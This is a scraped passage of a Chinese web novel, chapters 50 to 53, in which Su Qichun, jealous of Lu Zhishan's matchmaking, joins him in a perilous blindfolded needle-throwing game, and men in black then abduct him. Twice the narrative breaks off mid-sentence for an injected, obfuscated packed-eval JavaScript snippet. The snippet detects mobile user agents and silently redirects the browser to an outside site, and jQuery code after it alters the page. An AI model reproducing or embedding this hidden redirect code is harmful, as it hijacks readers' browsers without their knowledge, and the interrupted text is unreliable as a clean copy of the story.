苏祈春前脚进去,后脚就听到一个微冷的声音。 50. 心酸酸 50心酸酸 “哟,陆公子,您又来了?今天是和哪家的女郎见面呀?” 微冷的声音顿了顿,回道:“朱家的。” “哦!我想起来了,朱员外家的二女郎正待字闺中,听说那二女郎温婉大方,貌比天仙,和陆公子您正是相配!”小二道。 陆之山轻咳一声,似乎有些尴尬,“不敢不敢。” 两人的对话没有一丝障碍地钻进苏祈春耳朵里,苏祈春的手一点点攥紧,心里也跟着缩成一团。 茯苓听了这些话,倒是舒了一口气,她巴不得陆之山早些成亲,也好离她家女郎远一点儿。 “女郎,快看,施公子在楼上瞧你呢。”茯苓晃晃苏祈春的胳膊。 苏祈春缓过神来,朝着楼上看去。 毕胜阁在湛江县已有百年历史,一楼摆放着桌子戏台,二楼则是一间间包厢,施之谓就站在对面的包厢外,往楼下看。 苏祈春与他之间隔着一层楼的距离,隔着中间熙熙攘攘的人群,但苏祈春还是一眼就看到,他望着她的目光。 他仿佛知道苏祈春发现了他,身子一动,直往楼下而来。 “纤纤妹妹。”施之谓盯着苏祈春的眉与目,看得苏祈春都有些不自在起来,“妹妹,看到你平安归来,真的太好了!” 施之谓的话里含着藏不住的失而复得的庆幸。 苏祈春见他清瘦了不少,脸上长了许多因风霜而生成的斑驳,露在外面的手上也多出几道疤痕,也不知他发生了何事。 “嗯,之谓哥哥,我回来了,这段日子让你们担心了,是我的错。”苏祈春话语里仍带着歉意。 “没有,妹妹你千万别这么说,只要你回来就好,你回来就好……”施之谓心里有万般滋味,却说不出来,到了嘴边只剩下一句“你回来就好”。 几人沉默下来,施之谓又道:“对了,我听闻陆公子的病也好了?” 他两日前方从常春县回来,一到家就听说苏祈春回来了,陆之山也治好了病。 提起陆之山,苏祈春心里就莫名地酸,她刚想回答,身后便传来一个声音。 “是。我的病好了。” 那声音清冽,如风吹在冰棱上一般,在这喧闹的大堂里也分外清晰。 苏祈春和施之谓回身看去。 只见陆之山一袭白衣,眉目轻朗,一双眼睛黑白分明,像深不可见的海底。 陆之山目光极不刻意地掠过苏祈春,复又望向前方。 “陆兄今日也在?”施之谓拿不准陆之山的目的,“是陪纤纤一起来赴约的么?” 陆之山张张嘴,欲说什么,却被苏祈春打断,“他才不是!” 他垂眼,瞧见苏祈春气鼓鼓的样子,像是遇到危险鼓起两腮的河豚。 “不是?” 苏祈春狠狠点头,她担心碰见那位什么“朱二女郎”,也不管施之谓什么反应,拉着施之谓往楼上跑,边跑边说:“之谓哥哥,我们别碍人家的事,山哥哥要见别的小女郎,不和纤纤玩了!” 这话语里的酸味恐怕整个酒楼的人都能闻得到,就连店小二也说:“陆公子,哥哥要成亲,妹妹不乐意喽!” 陆之山挥手止住店小二的话,回头一双眼望着苏祈春上楼的背影,嘴角压也压不住地翘起。 苏祈春一进门,崔夫人和施清荷就握住她的手,上上下下瞧了她一番,发现她全身都好好的时,才松口气。 崔夫人道:“你这小女郎,真要把我们急死了!就为了你那哥哥的病,就值得么?” 这一路的辛劳自然是很苦的,但治好了山哥哥的病,就什么都是值得的。 苏祈春点头,“当然了,我没有放弃,治好了山哥哥的病,做到了我想做的事,也让爹爹和祖母看到,我不放弃总能做到的,那就是值得的。” 崔夫人眼中浮起赞许之意。 施清荷才不管什么治病,值得,她拉着苏祈春,一个劲儿地问这一路上的见闻,听到白首村,老爷爷,她大叫道:“哥哥去找你的时候也遇到一个老爷爷,不过那个老爷爷一点都不好,一直刁难哥哥!” 苏祈春反应了一会儿,才想到是白首村的那位老爷爷,分别的时候他说他要浪迹江湖,此时也不知道到了哪里? “不是的。”苏祈春下意识地反驳,“那位老爷爷只是说话不客气了些,但其实也是个很好很好的人。” 若不是他,她的山哥哥指不定什么时候才能好呢?可多亏了他。 施清荷不以为意,松开挽着苏祈春的手,义正言辞,“纤纤姐姐,我看你一定是被骗了,你知道那个老爷爷他让哥哥——” “清荷!”施之谓瞪了施清荷一眼,施清荷顿时不敢再说下去,她嘴里小声咕哝:“帮你说话还瞪我?白眼狼!” “各位各位!”正沉默间,包厢外忽地传来一阵敲锣打鼓的声音,几人走出屋外,见到楼下不知何时摆了一个台子,上面站着几个奇装异服的人。 其中一人浑身粘满了黄毛,尖嘴猴腮的样子,活脱脱是一个猴子。另一个人挺着个大肚皮,肥头大耳,两只耳朵像两个大蒲扇一般,竟是个猪。 猴子在台子上上蹿下跳,爬高踩低,时不时发出几声龇牙咧嘴的叫声,像是真猴子一样,引得众人惊呼连连。 猪则大大咧咧地坐在地上,捧着一个西瓜吭哧吭哧地狂啃,啃完把瓜皮往外一扔,又笑着伸手跟众人要吃的,众人见他憨厚可爱,倒也愿意给他。 “这是干什么呢?”苏祈春正看得入迷,身旁传来一个娇滴滴的声音,甜得像是吃了两斤蜂蜜。 女子生得弱柳扶风,一身藕粉色的衣裙,头上绾了一个发髻,另有一半头发披散着,垂在肩上,从苏祈春的方向,只看得到她的侧脸,但依然可见她的巧笑美目。 “怎么了?”一个白衣男子从屋里出来,走到女子身边,顺着女子指着的地方看过去,“哦,原来是杂耍,怎么好端端的在酒楼里做起了这个?” 苏祈春看清白衣男子的脸,眼神瞬间黯淡下来,她别过脸逼着自己看别处,却又实在忍不住,想要看一看,听一听,他们在做什么,他们在干什么? 许是偷听得太认真,施之谓连叫了她三声,她都没听到,“纤纤,你怎么了?不舒服么?”施之谓问。 苏祈春连忙摇头,回身走到施之谓的另一边,“才没有!” 苏祈春嘴上说没有,可任何一个眼不瞎的人都能看得出,苏祈春心里别扭的很! 施之谓弄不懂苏祈春的意思,话也不敢多说几句,他扭头间,见到陆之山和一粉衣女子站在一起,只是片刻,他便有些明白过来苏祈春的意思。 他愣了一下,好一会儿,又低下头笑,这纤纤算起来已经十四了,但还是像个小孩子一样,什么都不懂,只知道玩啊闹啊。 苏祈春却不觉得自己不懂,她认为自己是全天下最懂的小女郎,总之她就是看不惯别的小女郎靠近山哥哥,不行!她心里难受! 陆之山听着粉衣女子说话,目光不自觉地越过粉衣女子和施之谓,落在苏祈春生着闷气的小脸儿上,小女郎看起来气得不轻,眉间的褶皱堆成一叠,抚也抚不平。 他看着看着,嘴角不经意地笑起来,引得粉衣女子疑惑地望他,他捂着嘴,脸别到另一边,继续笑个不停。 楼下猴子道:“各位看官,今日是我家主人生辰的大日子,他平日最喜欢看我和那老猪表演,我们也不得不献丑一番,还望各位随我们一起,祝我家主人生辰快乐,长命百岁!” 坐席之中有个戴员外帽的人稳坐中间,其余人纷纷起身,祝贺那人万寿无疆。 那老猪摸着肚子走上台,哼唧着说要和大家玩个游戏,叫做心有灵犀,赢的人能得到他家主人的一把好剑——江湖上赫赫有名的饮冰剑。 “饮冰剑怎么会在他手里?!”施清荷大喊,“那分明是天 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那老猪也不急,在台上来回地走,嘿嘿地笑,“我家主人最爱看惊心动魄的事情,这最惊心动魄的事,莫过于生死的一线之间,但我家主人还有另一件爱看的事,叫做心有灵犀,这心有灵犀又比惊心动魄更为难得。” 施清荷听了半天,也没听明白是什么意思,不耐烦地道:“到底要比什么?你说清楚行吗?” 猴子一个翻身翻到施清荷面前,冲着她龇一声,吓得施清荷躲到苏祈春的身后。 苏祈春也不过是个十几岁的小女郎,也害怕,但谁让她是姐姐呢?只能忍着害怕,护着施清荷。 “你说说,这既惊心动魄又心有灵犀的法子到底是什么?”苏祈春大着胆子问。 “很简单。”那老猪从箱子里拿出一副弓箭,苏祈春瞬间恍然大悟,“不会是话本子里写的那些吧?” 她曾在话本子里见过很多类似的玩法,就是将一颗苹果放在一人的脑袋上,另一人拿弓箭去射那苹果,射得准则皆大欢喜,射不准就人头落地,但他们可不是话本子里的人物,哪能赢呀? “小女郎知道?”那老猪笑意浓浓,“那我们可要加大难度,我们不用弓箭,我们用银针,铃铛,一人举着铃铛跑,另一人蒙眼用银针去射铃铛,对了,这银针上有剧毒,触之草木皆枯,怎么样?你们敢吗?” 这话一出,连施清荷也害怕起来,但她想到那饮冰剑,又十分不甘心。 苏祈春对那饮冰剑倒没什么想法,只是有些担心曲余青的安危,他的剑怎么落在这人手里? 台下喧哗阵阵,众人纷纷议论这玩法太难,根本没人可以做得到。 苏祈春几人也生起退缩之意。 正此时,一个偏冷的声音从楼梯处传来,少年一袭白衣,领着粉衣少女,翩翩然而来,宛如谪仙下凡尘。 “我来。” 苏祈春手指微微蜷紧,手心渗出细密的汗。 陆之山走过苏祈春,掀起一阵风,风冷冽地拂过苏祈春的脸。 猴子窜到陆之山面前,这儿闻闻,那儿闻闻。 那老猪问:“这位公子是要和身后的美人儿一起来么?” 粉衣女子娇羞,顿时红了脸。 陆之山回头望她,目光柔柔的,暖暖的,像清风,像朗日。 苏祈春心里像闷了块儿大石头,怎么样都不得劲儿。 “哟,二位真是一对璧人,想必定会心有灵犀。”那老猪说起奉承话来也不遑多让。 堂内众人也不禁抬眼去看他们,不必说称赞的话,从他们的眼神中就可知,在他们眼里,他们二人定是郎才女貌,佳偶天成。 “不是她。”陆之山轻笑。 堂内瞬间掀起一阵嘈杂。 陆之山挪开目光,指向苏祈春,一目不错,“是她——” 51. 气呼呼 51气呼呼 大堂里的人纷纷看过去。 苏祈春心怦怦跳,被看得面红耳赤。 “陆公子,这小女郎看起来岁数不大,能行吗?”那老猪挺着大肚子走到苏祈春面前,笑意如春风扑面。 他虽然样子丑,但那笑却能让人卸下防备,是以苏祈春一点儿不怕他,她瞥眼看陆之山,心里同样疑惑:他不选那粉衣女子,偏选她,是什么意思?担心那粉衣女子受伤吗?那他就不担心她受伤? 陆之山扬眉,回头低声和粉衣女子说了几句话,那女子顿时羞容满面,举手掩着半张脸步步退后,陆之山凝望她离去的身影,直到她走远了才收回目光。 “怎么不行?”陆之山迈步,嘴角轻笑,眼风扫过苏祈春,“纤纤小女郎已经十四岁了,可不小了,你说是吗?纤纤?” 苏祈春白了他一眼,心里千回百转,她可不是什么容易骗的,她回声道:“纤纤才十四岁,朱家姐姐已经及笄,比纤纤还要大上几岁,你怎么不说?” 苏祈春已经看透他了,他就是见色忘妹,忘恩负义的坏山哥哥! 她嘟着嘴看向另一边,留个懒得理他的后背给他,只望他能看清楚,她根本一点儿都不想理他! 可陆之山偏偏要走到她面前,逼着她看他,她气愤地说:“山哥哥,你不许欺负纤纤!哼!” 苏祈春气得眼睛都红了,眼眸下湿湿的,润润的,又委屈又可怜。 陆之山绷着脸,强按住苏祈春,假装不理会苏祈春咬牙切齿的表情,幽幽道:“山哥哥才不会欺负纤纤,山哥哥不是说过,永远永远不会对纤纤坏么?” 苏祈春回望他眸底,那眸底很深,周围是漆黑的一片,看不清里面藏着什么洪水猛兽,可苏祈春就是觉得踏实,觉得安全,觉得他说的是对的。 “哼,我才不信!”苏祈春咬着牙,故意偏过脸。 施清荷在一旁咕哝,“我也不信,那玩法多危险,一不小心就没命了!” 施之谓瞪一眼施清荷,转头面对苏祈春,语气放缓,“纤纤,清荷说得对,你还是不要冒险的好。” 但凡是关心一点苏祈春的,都不会让她这么冒险,她的山哥哥就这么让她陷入危险境地,一点儿都不好,就是个坏山哥哥! 她肩膀使劲儿,要甩开陆之山禁锢的手,略一用力,陆之山的手便被推开,紧接着,一阵咳声便传过来。 苏祈春清晰地看到陆之山嘴角流出的鲜血。 “山哥哥!”几乎是一瞬间,苏祈春便到陆之山的面前,秀眉皱着,声音特可怜,“你怎么了?” 她方才虽说用上了全身的力气,可她是个小女郎,力气又能有多大?是断不会将陆之山伤到吐血的,她想到老爷爷说的,心里一阵害怕。 她握住陆之山的手腕,脉象依旧没什么大碍,可陆之山的脸很苍白,手也很冷,一点都不像没事。 她从怀里取出一颗丹药塞到陆之山嘴里,声音犹带泣声,“山哥哥,你到底怎么了?” “我……”陆之山瘫坐在地上,脸色煞白,浑身冷到发抖,他手心聚起一团内力,声音发颤,“我……我是不是要死了?” 苏祈春的泪在听到陆之山的话的一瞬间落下来,她不肯相信地摇头,“不会的不会的,纤纤会做一切努力,绝不会让你死!” “纤纤……”陆之山笑得凄凉,他伸出手指轻点苏祈春的鼻尖,“只要纤纤答应山哥哥一件事,山哥哥就不会死了。” “你说你说……不管什么事纤纤都会答应的……”苏祈春哭得脸上的胭脂都花了。 陆之山艰难地直起身,附在苏祈春的耳边,很轻地说:“和我一起玩这个游戏,我就不死了。” 苏祈春闻言立刻止住了泪,再看陆之山,神思清明,哪有生病的样子?她恍然大悟,站起身冲着陆之山大喊:“你就是个坏山哥哥,哼!” 陆之山又咳了几声,他不动声色地拭去嘴角的血,强撑着说:“答应了就不能反悔了,做人要说到做到,不能耍赖。” 他知道苏祈春就吃这种激将法。 苏祈春双手紧握,气得胸口不住起伏,施清荷和施之谓轮流劝了苏祈春一番,她也不说话,她想了会儿,向前一步,冲着那老猪说:“我玩!” “纤纤!”施之谓拉住苏祈春。 那老猪眯眯眼,笑:“小女郎好勇气,方才我也瞧出来了,你们两个是真的心有灵犀,我看你们两个一定能赢。” “我看赢不了!” “就是肯定赢不了!” 台下一阵喧闹。 “停停停——”那老猪止住众人的吵嚷声,走到台前,“我家老爷说了,今日高兴,在场的饭钱我家老爷都给包了,只求各位好好看,各位看行吗?” 俗话说:“吃人嘴软,拿人手短。”众人吃了人家的饭食,也不得不听话,老老实实地坐着看着。 老猪伸手一闪,手心的铃铛掉出来,在苏祈春眼前晃呀晃呀,那铃铛小得可怜,就连苏祈春的半个手掌大都没有,比苏祈春往日腰间佩戴的铃铛也要小上许多。 施之谓的声音在苏祈春背后响起,“这么小的铃铛,谁能射得中,纤纤,你不要……” “之谓兄,你是不相信我吗?”陆之山已从地上坐起来,嘴唇的苍白被血迹掩盖,倒显得红润异常。 苏祈春瞪他,好像要把他吃了。 施之谓生气至极,“你是她哥哥,你就不怕?” 陆之山目光流转到苏祈春脸上,苏祈春自然知道他要说什么,他才不在意她,他都有别的小女郎了,就不在意她这个妹妹了。 苏祈春突然鼻子很酸,她强忍着泪,一把抓住老猪手里的铃铛,昂头道:“玩就玩,谁怕谁?” 台上人退下,只剩陆之山和苏祈春在台上。 老猪在台下说:“还请陆公子蒙眼,站在台中间,纤纤小女郎将铃铛举过头顶,绕着陆公子转圈跑,但切记,不能靠近陆公子。” 苏祈春手心出满了汗,汗水湿润滑腻地粘在手指上,铃铛上,苏祈春连擦几次手心,才勉强能抓紧铃铛。 陆之山蒙上白布,面向苏祈春的方向,嘴角轻笑,“纤纤。” 苏祈春不想理他,脸别向另一边,等了会儿,陆之山又唤她,她不耐烦地回头问:“怎么了?” 陆之山蒙眼的样子猝不及防地落在她眼眸深处,突突的心跳一点一点地在胸腔里放大,仿佛在唤醒她那些陈旧的记忆。 她的心忽然软软的,连着气呼呼的脸也平静下来。 “好了,别说了,快点儿来!” 台子侧边擂起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362677|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓,咚咚隆隆地响,苏祈春举起铃铛,踏着鼓点跑。 铃铛随着苏祈春晃动的身子叮铃铃铃地响着,起初鼓声很慢,苏祈春跑得不快,后来鼓声越来越急越来越密,苏祈春发足狂奔,手中的铃声也逐渐凌乱繁杂。 苏祈春因为剧烈奔跑而气喘不已,她擦了擦落在眼皮上的汗,看向陆之山。 陆之山立在台中,眼睛掩盖了他的神情,他侧着耳朵,手中银针紧捏,好像随时会发出银针,但又迟迟没有行动。 台下人都等得不耐烦了,嚷嚷:“怎么还不射?” 苏祈春发间的汗顺着白皙的额头缓缓落下,耳边的鼓点更加急促,好似千军万马奔腾而来,她的腿不受控制地跟着狂跑,身上的力气一点点地用尽。 到了最后,她甚至不想生死输赢,只希望陆之山能快些射出银针,因为她实在已经没有力气了。 “纤纤!”施之谓一声大喊。 苏祈春张开无力的眼眸,脚下猛然一崴,身子斜斜倒去,手中的铃铛也跟着她一起倒下。 而此时,陆之山手中的银针已发出。 银针穿破两人之间的风,向她冲来。 若是苏祈春就此倒下,铃铛也会跟着一起倒,那陆之山一定不能射中,但她又无武功,怎能使自己的身子在半空中直起? 台下人一目不眨地看着台上的情形。 苏祈春咬咬牙,将铃铛往天上使劲一扔,自己的身子也因为用力而更快地下坠倒下。 “叮”银针触碰铃铛的清脆声音跟着苏祈春倒下的声音一起响起。 台下瞬间喧闹一片,“好厉害!好厉害!”“这样还能中?还真是心有灵犀!” 苏祈春被撞得骨头都要散架了,浑身上下没有一个地方不在疼,她挣扎地撑起身子,嘴里咕哝:“分明就是瞎猫碰上死耗子!” 一个长长的身影覆盖在她头顶,陆之山扶起她,拉着她的手腕看她手背的伤,皱眉问:“疼不疼?” 苏祈春才不想理他,要不是他,她才不会受伤。 陆之山手心内力温煦地滑过苏祈春的伤处,他伸手想要擦去苏祈春脸上的污渍,却在半路停下,轻轻地说:“纤纤和我果然是最心有灵犀的。” 陆之山带着几分微冷几分温柔几分漫不经心的声音慢慢流过苏祈春的耳膜,滑向她的心窝,她霎时间心里暖暖的,连生气都忘了。 老猪走到台上,手里捧着一个朱红色的剑盒,笑吟吟道:“刚刚那出心有灵犀,我家主人看得十分欢喜,这饮冰剑就此奉上,两位,请拿吧。” 陆之山扶着苏祈春站稳,他一步步走到剑盒前,从剑盒中取出那柄饮冰剑。 他握紧它,不由自主地挥动它。 苏祈春曾见过一次陆之山使剑,但这一次,却格外不一样,他用的剑招很奇怪,欲近还远,欲退又前,人看不见剑,剑看不见人。 几招过后,堂内鸦雀无声,落针可闻。 老猪最先反应过来,笑着问:“陆公子,此剑如何啊?” “饮冰剑当然名不虚传啊!”台下人吵嚷,方才的一出剑招那样传神,若不是因为饮冰剑,如何能使得出? 陆之山凝视剑身,许久,他手一松,饮冰剑落在地上。 他擦擦手,淡声道:“这剑,是假的。” 52. 黑衣人 52黑衣人 “什么?!” 满屋子的人面面相觑,嘘声一片,坐在正中间的寿星眼眸低沉,脸色发青。 老猪正色道:“陆公子,话可不能乱说,近来第一剑在湛江县附近流窜,我家主人最见不得这种杀人不眨眼的人,故而约见其人劝其从善,谁知那第一剑根本就是徒有虚名,武功平平,将这饮冰剑输给了我家主人,这事,府上的人都知道。” “谁说第一剑武功平平?”施清荷从施之谓身后跳出来,“他可是天下第一剑,我看你一定是遇到了假的!” “假的?难道真是假的?”台下人议论纷纷。 老猪瞬间变了脸色,“这位女郎,话可不能乱说,你们说第一剑是假的,饮冰剑也是假的,那想必你们一定是见过第一剑和饮冰剑了?” 施清荷顿时气馁下来,虽说她仰慕天下第一剑已久,可她真还没见过,她心虚地低下头,目光扫过陆之山。 陆之山转身走回苏祈春身边,直面老猪不算友善的眼神,“我没见过,但我肯定这绝不是饮冰剑。” 老猪一下子笑出声,他兀自摇头,“哎呀,我说陆公子,你没见过,怎么就敢肯定这不是饮冰剑?” 陆之山抿唇,目光从台下几个黑衣人的脸上路过,眉心收紧,“总之这就不是饮冰剑。” “哈哈哈。”老猪仰头大笑。 那猴子也窜上来,站在陆之山面前,捂着肚子笑得前仰后合。 这笑声和平常的笑不同,带着些讥讽嘲弄,冰雨一般,听得让人刺耳,一个稚嫩的女声在陆之山身边响起,“这根本就不是饮冰剑,天下第一剑分明就在常春县,根本不在这儿,我前些日子才见过他。” 陆之山低头去看小小的苏祈春,鹅黄色的身影铺满他的眼底,密密匝匝地包裹着他,连着他的心也变柔软。 苏祈春指着地上的剑,“第一剑在常春县,不在这里,所以这剑一定是假的。” “什么?第一剑在常春县?” “不对不对,我怎么听说第一剑去了大漠?” “你们说的都不对,第一剑明明在北疆!” 一时之间,毕胜阁里一片吵嚷,人声鼎沸,这边说第一剑在大漠,那边说第一剑在北疆,每个人都说得有理有据,有鼻子有眼。 施清荷凑到苏祈春身边,问:“纤纤姐姐,你当真在常春县见到了第一剑?!” 苏祈春犹疑,她本来十分肯定,曲余青就是第一剑,但听了众人说的话,她心里也忐忑,难道这天下第一剑不止一个人? “我……”苏祈春正要回答,眼角余光处忽地闪过一道黑影。 “嗖”地一声,一柄薄刃冲着他们而来,苏祈春尖叫一声,一个白色身影轻而易举地摘下她腰间的铃铛,反手挡住薄刃。 “山哥哥!”苏祈春害怕地抓住陆之山的衣袖,眼底如被撞碎的涟漪,陆之山护在她身前,轻拍她的后背,低声说:“别怕。” 霎时之间,台下人乱作一团,跑的跑逃的逃,施清荷慌不择路地跑到施之谓身边,施家家仆发现不对劲,从毕胜阁外冲进来。 “你们是谁?”老猪虽体型肥胖,动起手来却如游鱼一般,格外灵动。 那几个黑衣人也不同他废话,步步直冲饮冰剑而来。 猴子见老猪对敌艰难,窜到台上阻挡黑衣人,一番打斗中,猴子和老猪相互配合,让那些黑衣人占不到便宜。 黑衣人射出几道暗器,老猪肚子一弹,生生将暗器给弹回去,他厉声道:“我家主人的东西,谁也不能抢走!” 黑衣人侧身躲过被弹回的暗器,阴恻恻一笑,“这剑是第一楼的东西,就得还给第一楼!” 说罢,黑衣人双手挥出,无数道银光直冲老猪和猴子而来。 苏祈春被施家家仆护着往外跑,快到门口时,苏祈春回头,看见陆之山站在原地,目不斜视的看向黑衣人手中洒出的银针。 漆黑的眼眸里,数不尽的银色光亮密密麻麻,无穷无尽,它们扬起,降落,一丝丝一缕缕地陷入黑暗,又在黑暗里凝聚成一团团光亮。 陆之山手指发抖,整个人像被冻僵一般立在原地,眼眸中的光影被这银光点燃,逐渐放大,蔓延。 苏祈春凝眉,总觉得这施展银针的功夫在哪里见过。 “山哥哥!”黑衣人和老猪的打斗愈发激烈,苏祈春来不及细想,拨开挡在前面的家仆,跑到陆之山身前,摇摇他的胳膊,声音着急,“山哥哥,快走!” 一阵声音将陆之山从回忆里拉回,他低头,看见苏祈春皱成一团的小脸,忍不住伸手点点她的额头,玩笑道:“不能走,朱家女郎还在楼上呢!” 方才黑衣人一出现,朱家家仆便首当其冲,冲进来接走朱家女郎,苏祈春不相信陆之山没看见。 苏祈春松开抓着陆之山衣袖的手,恨恨地道:“那你去找吧!哼!” 苏祈春扭头就走,陆之山自知自己玩笑开大了,抓住她手腕,挥手击落射过来的银针,随着苏祈春来到毕胜阁外。 “女郎!”茯苓瞧见苏祈春出来,跑上前,上上下下地查看了苏祈春一番,舒了一口气,“女郎,还好你没事,吓死我了。” 说着,她又瞥见陆之山抓着苏祈春手腕的手,胸内一阵莫名的火,她想了想,扭头去看朱家的马车,不经意地道:“女郎,听说朱家女郎受了好大的惊吓,是不是要去瞧瞧?说起来,今日本来是和陆公子相看的,谁知道出了这事儿。” 苏祈春瞟一眼朱家的马车,朱家家仆将那马车围了整整一圈,马车上车帘轻抬,朱家女郎含泪往他们这边望去,正盯着陆之山看。 “朱家姐姐的事跟我们有什么关系?要去也不是我们去。”官府的人闻声而至,很快带着刀兵而来,苏祈春甩开陆之山的手,头也不回地坐上马车。 谁知她刚一坐上,陆之山便紧跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388954|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着坐进来,还将茯苓关在外面,不让她进来,茯苓急得一直在外面大叫。 陆之山笑意满满地看着苏祈春,苏祈春扭过脸,偏不理他,反正他眼里心里都只有朱家姐姐,压根儿没有她这个妹妹。 马车行驶的辘辘声响起,陆之山挨着她坐下,低着头凝望着苏祈春的眉与目,苏祈春的眉毛皱成弯弯曲曲的一条线,鼻尖像包子褶皱一般皱着,嘴唇因为干涸浮起一层苍白。 陆之山倒了一碗水凑到苏祈春的嘴边,“喝点儿水?你看你的嘴都干了。” 陆之山指指嘴唇的位置。 苏祈春咽了咽口水,果然觉得嗓子干渴不已,刚刚身处危急,一时还没发现,被陆之山这么一提醒,当真渴了。 苏祈春伸手欲接,余光又瞟见陆之山含笑的眼,跟他看着朱家女郎的眼神一摸一样,她伸在半路的手立马缩回来,皱眉道:“我不渴。” 苏祈春的眉头皱得比雀头结还要崎岖,陆之山将水放到一边,认输一般,语气带着些恳求,“好了,别生气了,以后再也不提朱家女郎,也再也不见别的小女郎。” 苏祈春心里顿时美滋滋的,嘴角不自觉地笑起来,但她很快又反应过来,这话说得好像她这个妹妹在棒打鸳鸯一样,这可不行,“山哥哥要和谁相看就和谁相看,纤纤管不着,再说了,成亲是山哥哥的人生大事,不能耽搁的。” 其实说到底,陆之山总要成家立业,迎娶嫂嫂是迟早的事,而她也只不过是个妹妹,纵使之前共患难过,也不能多要求什么。只是,她一想到成亲后,陆之山就要离开苏家,她就高兴不起来。 “谁说不能耽搁的?”陆之山道。 苏祈春一点点跟他解释,“山哥哥今年已经十七岁了,该成亲了,再不成亲就要被别人说是娶不来媳妇的老光棍了。” “那就让他们说我是老光棍儿。”陆之山说着,猛然咳了几声,鲜血又从他的嘴角滑下来,滴在素白的衣袍上,很快晕染成一片。 苏祈春闻到一股血腥味,回头一看,陆之山脸色惨白,细密的汗珠从他的额上流下,一直滚落到下颌。 苏祈春摸着他的脉搏,依旧没有任何差错,但他却虚弱得连话都说不出了。 苏祈春扶着陆之山,让他靠在车壁上,又给他递过来一碗水,一说话,就带着哭腔,“山哥哥,你怎么了?” 她越来越害怕老爷爷说的话会一语成谶,她的山哥哥也会像之前的那些人一样早死,短命。 她开始后悔,后悔自己为什么非要治好陆之山的病,就算山哥哥看不见又怎么样?她还可以永远陪着他,照顾他,也好过他就这么离去。 “没事儿……没事儿……”陆之山凝聚内力,浑身的经脉刺痛,稀薄的内力如干涸的小溪一般,再使不出来更多,他面色苍白,但仍想说些什么安慰苏祈春,“你看我这个样子,动不动吐血,肯定没人愿意嫁给我,一定要当一辈子的老光棍儿了。” 53. 小公子 53小公子 “呸呸呸,不许胡说!”苏祈春伸出中指放在陆之山唇上,声音可怜,“不许山哥哥胡说,山哥哥以后要幸福美满,儿孙满堂。” 陆之山扯着嘴角笑,稍有些动作,胸腔中的痛便开始弥漫,他强忍着,坐直身子,擦了擦苏祈春眼角的泪,笑着说:“是呀,答应过纤纤的,你做小老太太,我做小老头子。” 苏祈春也跟着笑。 内力在经脉中流转一圈,陆之山好受了些,他抹去嘴角的鲜血,将苏祈春鬓边落下的碎发绾至耳后,轻声道:“好了,没事了,老爷爷说过,刚治好眼疾后会这样的,等到体内的毒血都排尽了,自然就好了。” 苏祈春鼻子红红的,似是不信。 陆之山凝视苏祈春,好似要将她的眉与目都印在心里,他笑着,目光却破碎,“放心吧。” 马车外忽地传来一阵急促的声音,茯苓在外面大喊:“女郎,陆公子!” 陆之山掀开侧边的帘子,朝外看去。 茯苓口内急喘,抬头望见马车里二人相依相偎的样子,脸色骤沉,她绕过陆之山,对着苏祈春道:“女郎,前面来了几个人,看样子不太好惹。” 苏祈春起身下车,陆之山拦住她,回头对她说:“你在这里待着,我下去看看。” 此处距离苏府不远,是条僻静的小路,十几个黑衣人站在马车前,手握寒刃。 见到陆之山下车,为首的一名黑衣人上上下下打量了他一番,道:“阁下就是陆之山?” “正是。” 黑衣人拱手,“那还请你和我们一起走一趟。” 陆之山扬眉:“若是我不走呢?” “那就休怪我们不客气了!”黑衣人抽出腰间的剑,一步步朝马车靠近。 这些人步步紧逼,手中剑光闪烁,陆之山经脉仍痛,使不出多少内力。 方才在毕胜阁中,他也见过这些黑衣人的身手,以他目前的武功,绝不可能敌得过他们,他回望一眼马车,悄声对茯苓说:“照顾好你家女郎。” 他摊开双手,毫无防备地走向黑衣人,黑衣人见他束手就擒,这才放下手中兵刃。 等到陆之山和黑衣人都走远了,茯苓掀开车帘走进马车,苏祈春连忙问:“怎么样了?山哥哥呢?” 茯苓刚要说,忽然想到什么,又改口笑道:“是朱家女郎,朱家女郎受了惊吓,朱家家仆特来告知,陆公子去瞧她了,要我们先回去。” “哦。”苏祈春低下头,一颗心沉沉地落下去,无声无息,无悲无喜。 陆之山被那些黑衣人蒙上眼塞进一顶小轿,小轿里黑暗,陆之山贴着车壁听着外面的动静。 小轿穿过僻静的小路后,来到一条极其吵嚷的大街上,买菜声,小贩们讨价还价骂街的声音此起彼伏响彻云霄。 没走一会儿,一阵臭气熏天的味道传过来,一人骂骂咧咧道:“你是不是有病?大白天的倒夜香?”又一人接道:“快些过去快些过去,别耽误我做生意。”接着,那人喊道:“卖烧饼了卖烧饼了,三文钱一个,大爷,你们要来一个不?” 黑衣人冷冷回道:“滚。” 轿子继续往前走,穿过熙攘的人群,四周空气忽然清新起来,虫鸣鸟叫的声音不绝于耳,仔细去听,甚至还可以听到,鸟儿轻拨水面,溅起一圈涟漪的声音。 七拐八拐后,轿子拐进一个小巷子里,巷子幽深,一群人走到最深处才停下,黑衣人上前敲了敲一户人家的门。 开门的是个佝偻的老婆婆,她两眼浑浊无光,声音苍老,“是哪位呀?” 黑衣人道:“小楼一夜听冬雨。” 老婆婆变了脸色,侧过身子。黑衣人一行抬着轿子进门,径直走进大堂,门倏然落下,四周又是寂静一片。 